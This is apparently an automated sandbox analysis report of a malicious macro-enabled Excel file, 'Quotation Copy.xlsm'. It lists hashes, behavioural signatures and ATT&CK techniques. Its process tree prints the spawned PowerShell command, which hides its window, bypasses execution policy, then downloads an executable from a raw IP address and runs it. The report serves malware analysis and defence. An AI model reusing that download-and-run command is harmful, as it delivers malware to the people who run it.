fdc6d2131103090d0829beb0770dac89bd431833cdd347c0aa464f3b56f7f505

General

Target

Quotation Copy.xlsm
Size

41KB
MD5

986255b8b199fd0eb3dbe0ece696fd32
SHA1

fd526537497165a0c780589d7f4b4bfdec7520ce
SHA256

fdc6d2131103090d0829beb0770dac89bd431833cdd347c0aa464f3b56f7f505
SHA512

f608f2044a04f60e8df6c5c866786febc405e69260bc2a84b2616fb984c3524bc491877369ed98e3073e2a478f84d3639e64f3aa777cb4fd897e10dbc34d4a04
SSDEEP

768:RAxtsvPXnqtHiv+nWl8hqBIJYfTH+niSpQ4FFiKk/f9VwRtp+noiW:mwv/qEv+GG1B1FFi3/VVwTMor

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powershell.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	216	3088	powershell.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

37 216 powershell.exe

flow	pid	process
37	216	powershell.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3088 EXCEL.EXE
Suspicious behavior: EnumeratesProcesses 2 IoCs

Processes:

powershell.exe

pid process

216 powershell.exe
216 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 216 powershell.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

3088 EXCEL.EXE
3088 EXCEL.EXE

pid	process
216	powershell.exe
216	powershell.exe

description	pid	process
Token: SeDebugPrivilege	216	powershell.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE
3088	EXCEL.EXE

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

EXCEL.EXE

description	pid	process	target process
PID 3088 wrote to memory of 216	3088	EXCEL.EXE	powershell.exe
PID 3088 wrote to memory of 216	3088	EXCEL.EXE	powershell.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Quotation Copy.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3088

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -WindowStyle hidden -executionpolicy bypass; $TempFile = [IO.Path]::GetTempFileName() | Rename-Item -NewName { $_ -replace 'tmp$', 'exe' } –PassThru; Invoke-WebRequest -Uri "http://192.119.74.208/wp.exe" -OutFile $TempFile; Start-Process $TempFile;
2⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:216

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ciwyib3y.jkx.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/216-168-0x000002581B9B0000-0x000002581B9C0000-memory.dmp

Filesize
64KB

Download
memory/216-169-0x000002581B9B0000-0x000002581B9C0000-memory.dmp

Filesize
64KB

Download
memory/216-159-0x000002581B9B0000-0x000002581B9C0000-memory.dmp

Filesize
64KB

Download
memory/216-160-0x000002581B9B0000-0x000002581B9C0000-memory.dmp

Filesize
64KB

Download
memory/216-158-0x000002581B9B0000-0x000002581B9C0000-memory.dmp

Filesize
64KB

Download
memory/216-170-0x000002581B9B0000-0x000002581B9C0000-memory.dmp

Filesize
64KB

Download
memory/216-153-0x0000025834060000-0x0000025834082000-memory.dmp

Filesize
136KB

Download
memory/3088-139-0x00007FF8DC540000-0x00007FF8DC550000-memory.dmp

Filesize
64KB

Download
memory/3088-191-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-136-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-137-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-133-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-134-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-135-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-188-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-189-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-190-0x00007FF8DEE70000-0x00007FF8DEE80000-memory.dmp

Filesize
64KB

Download
memory/3088-138-0x00007FF8DC540000-0x00007FF8DC550000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads